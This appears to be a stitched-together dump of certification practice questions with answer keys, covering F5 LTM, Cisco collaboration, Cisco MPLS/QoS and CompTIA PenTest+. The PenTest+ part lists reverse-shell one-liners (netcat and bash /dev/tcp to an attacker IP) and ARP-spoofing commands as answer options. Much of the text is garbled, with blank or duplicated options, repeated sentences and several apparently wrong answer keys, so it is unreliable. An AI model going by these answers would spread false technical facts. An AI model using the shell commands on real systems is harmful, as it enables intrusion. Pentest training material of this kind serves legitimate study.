An LTM has the 3 virtual servers, four self IP addresses defined and the networks shown in the exhibit. Selected options
for each object are shown below. Settings not shown are at their defaults.

A connection attempt is made with a source IP and port of 10.20.100.50:2222 and a destination IP and port of
10.10.2.102:80. When the request is processed, what will be the destination IP address?

A. Destination IP: 10.10.2.102
B. The request will be dropped.
C. Destination IP: pool member in the 192.168/16 network
D. Destination IP: pool member in the 172.16/16 network
Correct Answer: C

QUESTION 5
Why would an administrator capture monitor traffic between a BIG-IP and servers?
A. Viewing monitor traffic could help the administrator to define a more robust monitor.
B. If a client were having difficulty logging into a load balanced SSH server, viewing and analyzing the connection
process would determine the reason.
C. Only client traffic may be captured; monitor traffic may not be captured.
D. If client traffic to servers was failing, viewing and analyzing monitor traffic would determine the reason.
Correct Answer: A

QUESTION 6
The incoming client IP address is 195.64.45.52 and the last five connections have been sent to members A, C, E, D and
B. Given the virtual server, pool, and persistence definitions and statistics shown in the above graphic, which member
will be used for the next connection?

A. 10.10.20.1:80
B. 10.10.20.2:80
C. 10.10.20.3:80
D. 10.10.20.4:80
E. 10.10.20.5:80
F. It cannot be determined with the information given.
Correct Answer: C

QUESTION 7
Where is connection mirroring configured?
A. It an option within a TCP profile.
B. It is an optional feature of each pool.
C. It is not configured; it is default behavior.
D. It is an optional feature of each virtual server.
Correct Answer: D

QUESTION 8
A site wishes to use an external monitor. Other than what is coded in the monitor script, what information must be
configured on the BIG-IP for the monitor to be functional? (Choose two.)
A. BIG-IP services that are running on the system to be tested.
B. BIG-IP the IP addresses of the devices that will be tested. Must know which
C. BIG-IP node or member the result are to be applied to. Must know all
D. BIG-IP must know the name of the program.
E. BIG-IP must know which function the program is going to test. Must know
Correct Answer: CD

QUESTION 9
A site would like to ensure that a given web server\\’s default page is being served correctly prior to sending it client
traffic. They assigned the A site would like to ensure that a given web server\\’s default page is being served correctly
prior to sending it client traffic. They be assigned the default HTTP monitor to the pool. What would the member status
be if it sent an unexpected response to the GET request default HTTP monitor to the pool?
A. The pool member would be marked offline (red).
B. The pool member would be marked online (green).
C. The pool member would be marked unknown (blue).
D. The pool member would alternate between red and green.
Correct Answer: B

QUESTION 10
Which statement describes a typical purpose of iRules?
A. iRules can be used to add individual control characters to an HTTP data stream.
B. iRules can be used to update the timers on monitors as a server load changes.
C. iRules can examine a server response and remove it from a pool if the response is unexpected
D. iRules can be used to look at client requests and server responses to choose a pool member to select for load
balancing.
Correct Answer: A

QUESTION 11
Which statement is true concerning cookie persistence.
A. Cookie persistence allows persistence independent of IP addresses.
B. Cookie persistence allows persistence even if the data are encrypted from client to pool member.
C. Cookie persistence uses a cookie that stores the virtual server, pool name, and member IP address in clear text.
D. If a client\\’s browser accepts cookies, cookie persistence will always cause a cookie to be written to the client\\’s file
system.
Correct Answer: A

QUESTION 12
The main drawback to using an APM Deployment Wizard is that it is not possible to edit the resulting objects, including
the access policy.
A. True
B. False
Correct Answer: B

QUESTION 13
Another name for the F5 OneConnect feature is TCP multiplexing.
A. True
B. False
Correct Answer: A

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CCNP Change 2020

300-085 CAPPS

The 300-085 exam has been retired as of February 24, 2020.

Original CCNP RS and CCNP Wireless direction combined into CCNP Enterprise direction

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Implementing Cisco Collaboration Core Technologies (350-801 CLCOR)

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QUESTION 1
You configure a Cisco Unity Express module to integrate with Cisco Unified Communications Manager Express. You
can use the following command to connect to the module from the Cisco Unified Communications Manager Express
CLI:
ABC_CORP#service-module integrated-Service-Engine 0/0 session
Trying 10.1.10.2, 2002 …
Open se-10-1-10-1#
However, you cannot pint the module from Cisco Unified Communications Manager Express and cannot use a web
browser to connect the module. You see this message:
ABC_CORP#ping 10.1.10.1
Type escae sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.10.1, timeout is 2 seconds:
Success rate is 0 percent (0/5)
How can you fix this problem?
A. Enable ICMP and web service on the Cisco Unity Express module.
B. Enable the ISM interface on Cisco Unified Communications Manager Express.
C. Add an IP address to the ISM interface in the same subnet as Cisco Unified Communications Manager Express.
D. Add a host route from Cisco Unified Communications Manager Express to Cisco Unity via the ISM interface.
Correct Answer: C

QUESTION 2
Which two transfer types are used by Cisco Unity Connection to process more calls quickly? (Choose two.)
A. No Holding Transfer
B. Release to VPIM
C. Supervise Transfer
D. Release to Switch
E. Say Good-Bye
Correct Answer: CD

QUESTION 3
What is the maximum number of users that can be imported into Cisco Unity Express from Cisco Unified
Communications Manager Express at one time?
A. 200
B. 100
C. 500
D. 50
Correct Answer: Aa

QUESTION 4
When importing users into Cisco Unity Connection by using AXL, what can cause a user not to be listed in the import
view?
A. if the user primary extension is set to “none” on Cisco Unified Communications Manager
B. if the userdigest credentials are not set
C. if the userwas imported into Cisco Unified Communications Manager by usingLDAP
D. if the user is not assigned to the Standard CTI Enabled access control group on Cisco Unified Communications
Manager
Correct Answer: A

QUESTION 5
What is the procedure for importing users from Cisco Unified Communications Manager Express into Cisco Unity
Express?
A. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity
Express with the CLI administrator username and password, and use the CLI synchronization command under
telephony-services to import as many users as are supported by Cisco Unified Communications Manager Express.
B. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity
Express with the web administrator username and password, and click Synchronize Information under the
Administration menu to import as many users as are supported by Cisco Unified Communications Manager Express.
C. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity
Express with the CLI administrator username and password, and use the CLI synchronization command under
telephony-services to import up to 200 users from Cisco Unified Communications Manager Express.
D. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity
Express with the web administrator username and password, and click Synchronize Information under the
Administration menu to import up to 100 users from Cisco Unified Communications Manager Express.
E. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity Express with the web administrator username and password, and click Synchronize Information under the
Administration menu to import up to 200 users from Cisco Unified Communications Manager Express.
Correct Answer: E

QUESTION 6
Which can be used in the jabber-config.xml file to enable UDS?
A. True
B. True
C. UDS
D. UDS
Correct Answer: C

QUESTION 7
You are trying to add Cisco VCS to Cisco TMS, but the addition is failing. Which three scenarios might be causing this
failure? (Choose three.)
A. Cisco TMS is running a version earlier than 12.5.
B. Cisco TMS was not upgraded before adding Cisco VCS.
C. Cisco TMS and Cisco VCS do not have synchronized time settings.
D. SNMP is not enabled on Cisco VCS.
E. UDP port 161 is blocked on the network.
F. The management address on Cisco VCS does not match the Cisco TMS IP address.
Correct Answer: DEF

QUESTION 8
Which three options are used when setting up connectivity between Cisco Unified Communications Manager and Cisco
Presence Server? (Choose three.)
A. SIP trunk
B. conference bridge
C. SIP trunk security profile
D. SIP profile
E. remote destination profile
Correct Answer: ACD

QUESTION 9
In which two scenarios would a caller who is calling into the Cisco Unity Connection general pilot number hear the
opening greeting of the voice-mail system and be prompted for a user ID and PIN? (Choose two.)
A. non-subscriber
B. subscriber who sends the calling number
C. subscriber who does not send the calling number
D. A SIP phone user will always be prompted for a user ID and PIN.
E. An SCCP phone user will always be prompted for a user ID and PIN.
F. The scenario is invalid.
Correct Answer: AC

QUESTION 10
Which jabber-config.xml variable do you use to allow remote Jabber users to connect using Collaboration Edge?
A.
B.
C.
D. YES
E. TRUE
Correct Answer: B

QUESTION 11
Where do you navigate to within Cisco TMS to place a call?
A. Systems > Navigator > Endpoint > Call Status
B. Systems > Monitoring > Endpoint > Place Call
C. Endpoint > Navigator > Call Status
D. Booking > List Conferences > Place Call
E. Systems > Navigator > Manage Dial Plan > Place Call
F. Systems > Navigator > Provisioning > Place Call
Correct Answer: A

QUESTION 12
In which three of the following cases can VPIM Networking be used for messaging? (Choose three.)
A. Cisco Unity systems where the partner Microsoft Exchange Servers are in different Active Directory forests
B. Cisco Unity with Microsoft Exchange 2000 or Microsoft Exchange 2003, and Cisco Unity with Lotus Domino
C. Cisco Unity and Cisco Unity Express
D. Cisco Unity and the Cisco Presence Server
E. Cisco Unity and Cisco Unified Communication Manager
F. Cisco Unity and Cisco Unified Contact Center Express
Correct Answer: ABC

QUESTION 13
Which codec is supported in Cisco Unity Express?
A. G.711
B. G.721
C. G.729
D. Q.850
E. Q.931
F. Q.2931
Correct Answer: A

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QUESTION 1
In Cisco IOS, what must be configured to ensure that an MPLS TE tunnel becomes active?
A. layer 3 addressing on the tunnel, to establish bidirectional communication over the tunnel
B. the tunnel for autoroute, to ensure proper installation into the forwarding plane
C. a path-option configuration, for either dynamic or explicit paths
D. the tunnel with a minimum bandwidth value, to properly calculate CSPF
Correct Answer: A

QUESTION 2
When implementing Cisco MPLS TE, the constrained-based path calculations will use which value as the TE cost of
each link within the MPLS domain?
A. By default, it will use the IGP metric, or each link can be assigned a specific value using the admin-weight command.
B. It can only use the IGP metric as the TE cost.
C. It will use the interface bandwidth as the TE cost.
D. Each link must be assigned a TE cost using the metric command.
Correct Answer: A

QUESTION 3
The Cisco IOS and IOS XE qos pre-classify command allows which kind of packet classification on IP packets that are
encapsulated with GRE and IPsec?
A. allows for packets to be classified based on the ToS byte values before packet encryption
B. allows for packets to be classified based on the ToS byte values after packet encryption
C. allows for packets to be classified based on the packet payload before packet encryption
D. allows for packets to be classified based on the packet payload after packet encryption
E. allows for packets to be classified based on the packet header parameters other than the ToS byte values after
packet encryption
Correct Answer: E

QUESTION 4
An engineer must automatically copy the IP Prec/DiffServ PHB marking to the EXP bits of the imposed MPLS label on
the ingress PE, as well as the MPLS EXP bits to the IP Prec/DiffServ of the egress PE. Which MPLS QoS model is
suitable for this requirement?
A. pipe model
B. short-pipe model
C. uniform model
D. uniform pipe model
Correct Answer: C

QUESTION 5
Refer to the exhibit. From which table was the information obtained?

A. FIB
B. CEF
C. LIB
D. LFIB
Correct Answer: D

QUESTION 6
Which two traffic types are recognized by NBAR default configuration settings? (Choose two.)
A. HTTP URL
B. Sun RPC
C. TCP
D. UDP
E. HTTPS URL
Correct Answer: AB

QUESTION 7
Which Cisco IOS XR command should be used in order to enable LDP on all interfaces for which the IGP protocol is
enabled?
A. RP/0/0/CPU0:R1(config-ospf)#mpls ldp auto-config
B. RP/0/0/CPU0:R1(config-ospf)#mpls ldp interface all enable
C. RP/0/0/CPU0:R1(config-ospf)#enable all
D. RP/0/0/CPU0:R1(config-ldp)#enable all
Correct Answer: A

QUESTION 8
Implementing IPoDWDM interfaces on Cisco CRS routers eliminates the need for which network component?
A. ROADM
B. external transponders
C. electrical-optical-electrical converters
D. electrical cross-connect
Correct Answer: B
IP over DWDM (IPoDWDM) is a technology used in telecommunications networks to integrate IP Routers and Switches
in the OTN (Optical Transport Network).

QUESTION 9
A service provider runs MPLS in its core. What is the relationship between FIB, LIB, and LFIB in this
environment?
A. Data from the FIB and LIB tables is used to generate the LFIB
B. The FIB, LIB, and LFIB are populated independently
C. The LIB and FIB are populated with labels and next-hop attributes in the control plane and are used to populate the
LFIB
D. The LFIB is populated with information from the IP routing table and is shared with the FIB and LIB to assign labels to
the path
Correct Answer: A

QUESTION 10
Which queuing mechanism should an engineer implement on delay sensitive categories of traffic?
A. weighted fair
B. priority
C. low-latency
D. weighted round-robin
Correct Answer: C

QUESTION 11
A network engineer must analyze RSVP-TE signaling on a syslog server. Which three RSVP messages are valid?
(Choose three.)
A. RSVP PATH
B. RSVP RESERVATION
C. RSVP ESTABLISHED
D. RSVP PATH TEAR
E. RSVP KILL
F. RSVP INIT
Correct Answer: ABD

QUESTION 12
Which are typical class-based marking policies that are implemented on service provider IP NGN PE routers?
A. On the PE ingress, classify the customer traffic and then mark with qos-group. On the PE egress, classify based on
the qos-group and then mark with mpls exp.
B. On the PE ingress, classify the customer traffic and then mark with mpls exp. On the PE egress, classify based on
the mpls exp and then mark with qos-group.
C. On the PE ingress, trust the customer QoS markings. On the PE egress, classify based on the customer QoS
markings and then mark with qos-group.
D. On the PE ingress, trust the customer QoS markings. On the PE egress, classify based on the customer QoS
markings and then mark with mpls exp.
Correct Answer: A

QUESTION 13
Which Cisco IOS XR high-availability feature is used to prevent routes from being used before LDP converges?
A. LDP session protection
B. LDP-IGP synchronization
C. BFD
D. IGP session protection
Correct Answer: B

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About the exam

• CompTIA PenTest+ assesses the most up-to-date penetration testing, and vulnerability assessment and management skills necessary to determine the resiliency of the network against attacks.
• Successful candidates will have the intermediate skills required to customize assessment frameworks to effectively collaborate on and report findings.
• Candidates will also have the best practices to communicate recommended strategies to improve the overall state of IT security.

CompTIA PenTest+ PT0-001 Online Exam Practice Questions

QUESTION 1
Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the
following BEST describes the reasoning for this?
A. Manufacturers developing IoT devices are less concerned with security.
B. It is difficult for administrators to implement the same security standards across the board.
C. IoT systems often lack the hardware power required by more secure solutions.
D. Regulatory authorities often have lower security requirements for IoT systems.
Correct Answer: A

QUESTION 2
A tester has determined that null sessions are enabled on a domain controller. Which of the following attacks can be
performed to leverage this vulnerability?
A. RID cycling to enumerate users and groups
B. Pass the hash to relay credentials
C. Password brute forcing to log into the host
D. Session hijacking to impersonate a system account
Correct Answer: A

QUESTION 3
During an internal network penetration test, a tester recovers the NTLM password hash tor a user known to have full
administrator privileges on a number of target systems Efforts to crack the hash and recover the plaintext password
have been unsuccessful Which of the following would be the BEST target for continued exploitation efforts?
A. Operating system Windows 7 Open ports: 23, 161
B. Operating system Windows Server 2016 Open ports: 53, 5900
C. Operating system Windows 8 1 Open ports 445, 3389
D. Operating system Windows 8 Open ports 514, 3389
Correct Answer: C

QUESTION 4
A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below:
IP: 192.168.1.20 NETMASK: 255.255.255.0 DEFAULT GATEWAY: 192.168.1.254 DHCP: 192.168.1.253 DNS:
192.168.10.10, 192.168.20.10 Which of the following commands should the malicious user execute to perform the
MITM attack?
A. arpspoof -c both -r -t 192.168.1.1 192.168.1.20
B. arpspoof -t 192.168.1.20 192.168.1.254
C. arpspoof -c both -t 192.168.1.20 192.168.1.253
D. arpspoof -r -t 192 .168.1.253 192.168.1.20
Correct Answer: B
Reference: https://www.hackers-arise.com/single-post/2017/07/25/Man-the-Middle-MiTM-Attack-with-ARPspoofing

QUESTION 5
While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys
should the tester use?
A. HKEY_CLASSES_ROOT
B. HKEY_LOCAL_MACHINE
C. HKEY_CURRENT_USER
D. HKEY_CURRENT_CONFIG
Correct Answer: C
Reference: https://www.redcanary.com/blog/windows-registry-attacks-threat-detection/

QUESTION 6
Which of the following tools is used to perform a credential brute force attack?
A. Hydra
B. John the Ripper
C. Hashcat
D. Peach
Correct Answer: A
Reference https://www.greycampus.com/blog/information-security/brute-force-attacks-prominent-tools-totackle-such-attacks

QUESTION 7
During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing
the network. Which of the following tools could be used to impersonate network resources and collect authentication
requests?
A. Ettercap
B. Tcpdump
C. Responder
D. Medusa
Correct Answer: C

QUESTION 8
During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows
10 OS. The tester wants to perform credential harvesting with Mimikazt. Which of the following registry changes would
allow for credential caching in memory?

A. B. C. D.
Correct Answer: D

QUESTION 9
The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on
the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST
likely causes for this difference? (Select TWO)
A. Storage access
B. Limited network access
C. Misconfigured DHCP server
D. Incorrect credentials
E. Network access controls
Correct Answer: AB

QUESTION 10
During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the
server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell
back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO)
A. nc 192.168.1.5 44444
B. nc -nlvp 4444 -e /bin/sh
C. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>and1|nc 192.168.1.5 44444>/tmp /f
D. nc -e /bin/sh 192.168.1.5 4444
E. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>and1|nc 192.168.1.5 444444>/tmp /f
F. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>and1|nc 192.168.5.1 44444>/tmp /f
Correct Answer: DF

QUESTION 11
A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and
display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task?
A. From the remote computer, run the following commands: Export IHOST 192.168.1.10:0.0 xhost+ Terminal
B. From the local computer, run the following command ssh -L4444 : 127.0.01:6000 -% [email protected] xterm
C. From the local computer, run the following command ssh -r6000 : 127.0.01:4444 -p 6000 [email protected]
“xhost+; xterm”
D. From the local computer, run the following command Nc -1 -p 6000 Then, from the remote computer, run the
following command Xterm | nc 192.168.1.10 6000
Correct Answer: A

QUESTION 12
A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration
tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the
penetration tester mostly like use?
A. perl -e ` use SOCKET\\’; $i=\\’; $p=\\’443;
B. ssh superadmin@ -p 443
C. nc -e /bin/sh 443
D. bash -i >and /dev/tcp// 443 0>and1
Correct Answer: A
References: https://hackernoon.com/reverse-shell-cf154dfee6bd

QUESTION 13
A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains
IP addresses and times that each can be scanned. Which of the following would contain this information?
A. Rules of engagement
B. Request for proposal
C. Master service agreement
D. Business impact analysis
Correct Answer: A

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